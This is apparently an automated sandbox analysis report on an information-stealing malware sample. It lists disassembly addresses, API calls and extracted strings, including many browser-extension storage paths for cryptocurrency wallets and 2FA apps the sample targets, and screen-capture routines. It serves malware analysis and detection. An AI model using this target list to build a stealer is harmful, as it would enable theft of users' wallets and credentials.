0x004015fe
0x00401600
0x00401602
0x00401604
0x00401606
0x00401608
0x0040160a
0x0040160c
0x0040160e
0x00401610
0x00401612
0x00401614
0x00401616
0x00401618
0x0040161a
0x0040161c
0x0040161e
0x00401620
0x00401622
0x00401624
0x00401626
0x00401628
0x0040162a
0x0040162c
0x0040162e
0x00401630
0x00401632
0x00401634
0x00401636
0x00401638
0x0040163a
0x0040163c
0x0040163e
0x00401640
0x00401642
0x00401644
0x00401646
0x00401648
0x0040164a
0x0040164c
0x0040164e
0x00401650
0x00401652
0x00401654
0x00401658
0x00401659
0x0040165b
0x0040165d
0x0040165f
0x00401662
0x00401663
0x00401665
0x00401669
0x0040166b
0x0040166d
0x0040166f
0x00401673
0x00401679
0x0040167b
0x0040167c
0x0040167d
0x0040167e
0x00401680
0x00401687
0x00401689
0x0040168b
0x00401691
0x00401693
0x00401695
0x00401697
0x00401699
0x0040169b
0x0040169d
0x0040169f
0x004016a3
0x004016a5
0x004016a7
0x004016a9
0x004016ab
0x004016ad
0x004016af
0x004016b1
0x004016b4
0x004016b6
0x004016ba
0x004016bb
0x004016bd
0x004016bf
0x004016c2
0x004016c3
0x004016c5
0x004016c7
0x004016c9
0x004016ca
0x004016cb
0x004016cd
0x004016cf
0x004016d1
0x004016d5
0x004016d7
0x004016d9
0x004016dc
0x004016de
0x004016e2
0x004016e3
0x004016e5
0x004016e7
0x004016eb
0x004016ed
0x004016ef
0x004016f2
0x004016f3
0x004016f5
0x004016f7
0x004016f9
0x004016fa
0x004016fb
0x004016fe
0x00401700
0x00401702
0x00401704
0x00401706
0x00401708
0x0040170e
0x00401710
0x00401711
0x00401712
0x00401781
0x00401781
0x00401783
0x00401787
0x00401789
0x00401789
0x0040178a
0x0040178b
0x00401791
0x00401793
0x00401793
0x00401785
0x00401785
0x00401715
0x00401718
0x00401719
0x0040171a
0x00000000
0x00000000
0x0040171d
0x0040171d
0x00401720
0x00401721
0x00401722
0x00401723
0x0040179a
0x0040179a
0x0040179c
0x0040179d
0x004017a0
0x00000000
0x00401728
0x00401728
0x0040172b
0x0040172e
0x00401730
0x00401732
0x00401734
0x00401736
0x00401738
0x00401738
0x0040173d
0x004017a1
0x004017a1
0x004017f9
0x004017f9
0x004017fd
0x004017fe
0x004017ff
0x00401801
0x00401803
0x00401805
0x00401807
0x00401808
0x0040180c
0x0040180c
0x0040180e
0x0040180e
0x004017a3
0x004017a4
0x004017a5
0x00000000
0x00000000
0x004017a8
0x004017eb
0x004017ed
0x004017f5
0x004017f6
0x004017f7
0x00000000
0x004017f7
0x004017aa
0x004017ab
0x004017ab
0x004017af
0x004017ba
0x004017bb
0x004017bb
0x004017bd
0x004017bf
0x004017c1
0x004017c2
0x004017c2
0x004017c4
0x004017c9
0x004017cb
0x004017cf
0x004017d1
0x004017d1
0x004017d2
0x004017d3
0x004017d9
0x004017db
0x004017db
0x004017cd
0x004017cd
0x00401740
0x00000000
0x00000000
0x00401742
0x00401744
0x00401747
0x00401748
0x0040174a
0x0040174c
0x0040174e
0x0040174e
0x00401750
0x00401751
0x00401754
0x00000000
0x00000000
0x00401756
0x00000000
0x00000000
0x00401758
0x00401759
0x0040175a
0x0040175b
0x00000000
0x00000000
0x0040175d
0x0040175e
0x00000000
0x00000000
0x00401760
0x00401762
0x00401766
0x00401767
0x0040176a
0x0040176b
0x0040176d
0x00401770
0x00401773
0x00401775
0x00401777
0x00401779
0x0040177b
0x00000000
0x0040177b
0x00401723
0x00401408
0x00401408
0x0040140f
0x00000000
0x00401413
0x00401413
0x00401413
0x00401416
0x00401417
0x00401418
0x00401419
0x00000000
0x0040141e
0x0040141e
0x00401421
0x00401423
0x00401427
0x00401429
0x0040142b
0x0040142e
0x0040142f
0x00401432
0x00401433
0x00401437
0x0040143a
0x0040143b
0x0040143e
0x0040143f
0x00401442
0x00401443
0x00401445
0x00401449
0x0040144f
0x00401452
0x00401454
0x00401458
0x0040145b
0x0040145e
0x00401462
0x00401469
0x0040146c
0x0040146e
0x00401471
0x00401471
0x00000000
0x00401471
0x00401419

APIs

#100.MSVBVM60(0040138C), ref: 0040127D

Memory Dump Source

Source File: 00000016.00000002.377630676.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.377620076.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.377641465.0000000000404000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.377654651.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: 9b3c68db70cb658cd46675113d1397903124ba5c29da548f47889c1b0315f0f2
Instruction ID: c5a21d82802158fab81438b3e418b8b1ced1607d7a22cba123809fe770ff09ea
Opcode Fuzzy Hash: 9b3c68db70cb658cd46675113d1397903124ba5c29da548f47889c1b0315f0f2
Instruction Fuzzy Hash: EF212C6088F3D25FD32353B44C654A57FB09C5362531E02DBD8C2DA0E3D29C184EC362

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 6A0A.exe PID: 1056 Parent PID: 3388 6A0A.exeCOMMON

Executed Functions

Function 00405A45, Relevance: 215.4, APIs: 6, Strings: 114, Instructions: 5408fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00405A64
_sprintf.LIBCMT ref: 00405A8D
FindFirstFileA.KERNELBASE(?,00000000,?,?,00000018), ref: 00405AA0
_sprintf.LIBCMT ref: 00405AEF

Part of subcall function 00468A5A: __output_l.LIBCMT ref: 00468AB5

Part of subcall function 00405764: __EH_prolog3.LIBCMT ref: 00405783
Part of subcall function 00405764: _sprintf.LIBCMT ref: 004057BF
Part of subcall function 00405764: FindFirstFileA.KERNEL32(?,00000000,?,?,00000014), ref: 004057D2

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Part of subcall function 004033B8: _memmove.LIBCMT ref: 00403409

Part of subcall function 00405764: _sprintf.LIBCMT ref: 00405838

Part of subcall function 00405764: CopyFileA.KERNEL32 ref: 004059BC
Part of subcall function 00405764: FindNextFileA.KERNEL32(?,00000000,?,?,00000014), ref: 004059ED
Part of subcall function 00405764: FindClose.KERNEL32(?,?,?,00000014), ref: 004059FE

FindNextFileA.KERNELBASE(?,00000000,?,?,00000018), ref: 0040A205
FindClose.KERNEL32(?,?,?,00000018), ref: 0040A216

Strings

\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb, xrefs: 00406B2C
\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig, xrefs: 00409504
\Sync Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb\CURRENT, xrefs: 00406907
\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 00409C7D
SaturnWallet, xrefs: 004093F0, 00409572
\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad, xrefs: 00407708
\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai, xrefs: 00406834
\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT, xrefs: 00407AD3
\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT, xrefs: 00407957
Guarda, xrefs: 004078EF, 00407A6B
Coinbase, xrefs: 004075EB, 00407773
\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi, xrefs: 004085EC
CloverWallet, xrefs: 00409CE8, 00409E66
\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj, xrefs: 0040907E
\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT, xrefs: 004098DA
Plugins, xrefs: 00406732, 00406737, 00406786, 004068BA, 00406A36, 00406BB2
BinanceChainWallet, xrefs: 0040608F, 0040659F
\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln, xrefs: 00407884
\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm, xrefs: 00408D7A
\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT, xrefs: 0040765F
LiqualityWallet, xrefs: 00409FE4, 0040A162
\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00408A76
\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb\CURRENT, xrefs: 00406A83
\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT, xrefs: 00408543
\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac, xrefs: 00407CFC
\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT, xrefs: 004086BF
EQUALWallet, xrefs: 00407BD9, 00407BDE, 00407C4E, 00407D67, 00407EE3
\Sync Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 00406537
\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT, xrefs: 00409A58
Authenticator, xrefs: 00406717, 0040689F
\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT, xrefs: 0040975C
\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai, xrefs: 004066AF
\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn, xrefs: 00409F79
\Sync Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\CURRENT, xrefs: 00406EFB, 004071EF
\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj, xrefs: 00409200
\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb, xrefs: 00407E78
MetaMask, xrefs: 00405E8D, 00406427
%s\%s, xrefs: 00405AE9
\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT, xrefs: 004095DA
\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT, xrefs: 004092D6
\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn, xrefs: 0040A0F7
\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT, xrefs: 0040A050
\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb, xrefs: 00406E28
\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT, xrefs: 00409458
\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad, xrefs: 00407583
\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao, xrefs: 00409AFF
\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT, xrefs: 004089CA
\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT, xrefs: 004077DB
\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec, xrefs: 00409803
\Sync Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\CURRENT, xrefs: 00406493
\Sync Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec, xrefs: 004061EB
\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT, xrefs: 00409BD6
\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj, xrefs: 004088F4
\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb, xrefs: 00406CA3
\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 00405FE9
Wallets, xrefs: 00405CAC, 00405EAE, 004060B0, 004062B2, 00406442, 004065BA, 00406D26, 00406D2B, 00406D7A, 00406EAE, 0040702A, 0040719E, 00407316, 0040748E, 00407606, 0040760B, 0040765A, 0040778E, 0040790A, 00407A86, 00407BFB, 00407D7E, 00407EFA, 00408073, 004081F6, 00408372, 004084EA, 004084EF, 0040853E, 00408672, 004087FB, 0040897D, 00408AFF, 00408C81, 00408E03, 00408F85, 00409107, 00409289, 0040940B, 0040958D, 0040970F, 00409889, 00409A07, 00409B85, 00409D03, 00409E81, 00409FFF, 0040A17D
\Sync Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid, xrefs: 00406FA4, 00407293
\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\CURRENT, xrefs: 00405F03
\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT, xrefs: 00409D54
\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT, xrefs: 00408848
\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT, xrefs: 0040678B
\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn, xrefs: 00405DE7
\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi, xrefs: 00408467
MewCx, xrefs: 00408DE8, 00408F6A
\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT, xrefs: 00408247
MathWallet, xrefs: 004072FB, 00407473
\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk, xrefs: 00409DFB
\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT, xrefs: 00408E50
Yoroi, xrefs: 00406D0B, 00406E93
BitAppWallet, xrefs: 004084CF, 00408657
\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\CURRENT, xrefs: 00407077, 00407367
\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT, xrefs: 00407F4B
\Sync Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\CURRENT, xrefs: 00406105
\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT, xrefs: 00408B4C
\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT, xrefs: 004083C3
\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT, xrefs: 00406305
%s\*, xrefs: 00405A82
\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao, xrefs: 00409981
\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne, xrefs: 00407FEF
GuildWallet, xrefs: 004090EC, 0040926E
\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT, xrefs: 00405D01
Authy, xrefs: 00406A1B, 00406B97
\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT, xrefs: 004074DF
\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn, xrefs: 004063BF
\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT, xrefs: 00408FD2
\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT, xrefs: 00406D7F
TronLink, xrefs: 00405C8B, 00406291
\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig, xrefs: 00409382
\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT, xrefs: 00407C53
\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih, xrefs: 00408BF8
\Sync Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb, xrefs: 004069B0
\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec, xrefs: 00405BE5
\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb, xrefs: 004082F0
\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT, xrefs: 00407DCF
\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT, xrefs: 00409154
\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid, xrefs: 0040711B, 0040740B
\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT, xrefs: 00409ED2
\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj, xrefs: 00408772
\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\CURRENT, xrefs: 00405AFC
\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT, xrefs: 00408CCE
\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT, xrefs: 004080CB
\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac, xrefs: 00407B77
JaxxLiberty, xrefs: 00408051, 00408056, 004080C6, 004081DF, 0040835B
iWallet, xrefs: 004087E0, 00408962
\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne, xrefs: 00408174
NiftyWallet, xrefs: 0040700F, 00407183
\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec, xrefs: 00409686
RoninWallet, xrefs: 004096F4, 0040986E
NeoLine, xrefs: 004099EC, 00409B6A
\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT, xrefs: 00406BFF
\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm, xrefs: 00408EFC
Wombat, xrefs: 00408AE4, 00408C66
\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT, xrefs: 0040660B
\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln, xrefs: 00407A00

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Find$File$_sprintf$CloseFirstH_prolog3Next_memmove$Copy__output_l
String ID: %s\%s$%s\*$Authenticator$Authy$BinanceChainWallet$BitAppWallet$CloverWallet$Coinbase$EQUALWallet$Guarda$GuildWallet$JaxxLiberty$LiqualityWallet$MathWallet$MetaMask$MewCx$NeoLine$NiftyWallet$Plugins$RoninWallet$SaturnWallet$TronLink$Wallets$Wombat$Yoroi$\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb$\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT$\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb$\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT$\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih$\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT$\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai$\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT$\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac$\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT$\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne$\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT$\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao$\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT$\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb$\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT$\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp$\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\CURRENT$\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi$\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT$\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec$\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT$\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb$\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb\CURRENT$\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad$\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT$\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln$\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT$\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec$\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\CURRENT$\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid$\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\CURRENT$\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj$\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT$\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn$\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT$\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj$\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT$\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk$\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT$\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn$\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT$\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig$\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT$\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm$\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT$\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih$\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT$\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai$\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT$\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac$\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT$\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne$\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT$\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao$\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT$\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb$\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT$\Sync Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp$\Sync Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\CURRENT$\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi$\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT$\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec$\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT$\Sync Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb$\Sync Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb\CURRENT$\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad$\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT$\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln$\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT$\Sync Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec$\Sync Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\CURRENT$\Sync Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid$\Sync Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\CURRENT$\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj$\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT$\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn$\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT$\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj$\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT$\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk$\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT$\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn$\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT$\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig$\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT$\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm$\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT$iWallet
API String ID: 4158272174-550326695
Opcode ID: 60e90522ae9fd7c494620146cd27bad759983f66338105e88ec45abaed92fda8
Instruction ID: 9311531beb625c380a761595c136ec9607eccc199b401a0f6b90559018a3bef4
Opcode Fuzzy Hash: 60e90522ae9fd7c494620146cd27bad759983f66338105e88ec45abaed92fda8
Instruction Fuzzy Hash: 2CA371B1804288EEDB21EFA5CD55EEE377CAF56308F00016EF909A71D1EA785B04D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 004626E9, Relevance: 131.5, APIs: 55, Strings: 20, Instructions: 242libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 004626F7
GetProcAddress.KERNEL32(00000000), ref: 00462710
GetProcAddress.KERNEL32(00000000), ref: 0046271E
LoadLibraryA.KERNEL32(00000000), ref: 0046272C
LoadLibraryA.KERNEL32 ref: 0046273A
LoadLibraryA.KERNEL32 ref: 00462749
LoadLibraryA.KERNEL32 ref: 00462757
LoadLibraryA.KERNEL32(gdi32.dll), ref: 00462764
LoadLibraryA.KERNEL32(ole32.dll), ref: 00462772
LoadLibraryA.KERNEL32(user32.dll), ref: 00462780
GetProcAddress.KERNEL32(00000000), ref: 00462794
GetProcAddress.KERNEL32(00000000), ref: 004627A6
GetProcAddress.KERNEL32(00000000), ref: 004627B8
GetProcAddress.KERNEL32(00000000), ref: 004627CA
GetProcAddress.KERNEL32(00000000), ref: 004627DC
GetProcAddress.KERNEL32(00000000), ref: 004627EE
GetProcAddress.KERNEL32(00000000), ref: 00462808
GetProcAddress.KERNEL32(00000000), ref: 0046281C
GetProcAddress.KERNEL32(00000000), ref: 00462836
GetProcAddress.KERNEL32(00000000), ref: 00462848
GetProcAddress.KERNEL32(00000000), ref: 0046285A
GetProcAddress.KERNEL32(00000000), ref: 0046286C
GetProcAddress.KERNEL32(00000000), ref: 0046287E
GetProcAddress.KERNEL32(00000000), ref: 00462890
GetProcAddress.KERNEL32(00000000), ref: 004628A2
GetProcAddress.KERNEL32(00000000), ref: 004628B4
GetProcAddress.KERNEL32(00000000), ref: 004628C6
GetProcAddress.KERNEL32(00000000), ref: 004628E0
GetProcAddress.KERNEL32(00000000), ref: 004628F2
GetProcAddress.KERNEL32(00000000), ref: 00462904
GetProcAddress.KERNEL32(00000000), ref: 00462916
GetProcAddress.KERNEL32(00000000), ref: 00462928
GetProcAddress.KERNEL32(00000000), ref: 0046293A
GetProcAddress.KERNEL32(00000000), ref: 0046294C
GetProcAddress.KERNEL32(00000000), ref: 0046295E
GetProcAddress.KERNEL32(00000000), ref: 00462970
GetProcAddress.KERNEL32(00000000), ref: 00462982
GetProcAddress.KERNEL32(00000000), ref: 00462994
GetProcAddress.KERNEL32(?,CreateCompatibleBitmap), ref: 004629AD
GetProcAddress.KERNEL32(?,SelectObject), ref: 004629BE
GetProcAddress.KERNEL32(?,BitBlt), ref: 004629CF
GetProcAddress.KERNEL32(?,DeleteObject), ref: 004629E0
GetProcAddress.KERNEL32(?,CreateDCA), ref: 004629F1
GetProcAddress.KERNEL32(?,GetDeviceCaps), ref: 00462A02
GetProcAddress.KERNEL32(?,CreateCompatibleDC), ref: 00462A13
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 00462A2C
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 00462A3F
GetProcAddress.KERNEL32(00000000,GetDesktopWindow), ref: 00462A5C
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 00462A70
GetProcAddress.KERNEL32(00000000,GetKeyboardLayoutList), ref: 00462A81
GetProcAddress.KERNEL32(00000000,CharToOemA), ref: 00462A92
GetProcAddress.KERNEL32(00000000,GetDC), ref: 00462AA3
GetProcAddress.KERNEL32(00000000,wsprintfA), ref: 00462AB4
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 00462AC5
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 00462AD6

Strings

CreateCompatibleDC, xrefs: 00462A08
GetDC, xrefs: 00462A98
GetSystemMetrics, xrefs: 00462ACB
ReleaseDC, xrefs: 00462A65
CreateDCA, xrefs: 004629E6
GetDeviceCaps, xrefs: 004629F7
CharToOemA, xrefs: 00462A87
CoCreateInstance, xrefs: 00462A24
CoUninitialize, xrefs: 00462A32
DeleteObject, xrefs: 004629D5
user32.dll, xrefs: 00462778
EnumDisplayDevicesA, xrefs: 00462ABA
ole32.dll, xrefs: 0046276A
BitBlt, xrefs: 004629C4
SelectObject, xrefs: 004629B3
GetKeyboardLayoutList, xrefs: 00462A76
CreateCompatibleBitmap, xrefs: 004629A7
GetDesktopWindow, xrefs: 00462A54
wsprintfA, xrefs: 00462AA9
gdi32.dll, xrefs: 0046275D

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
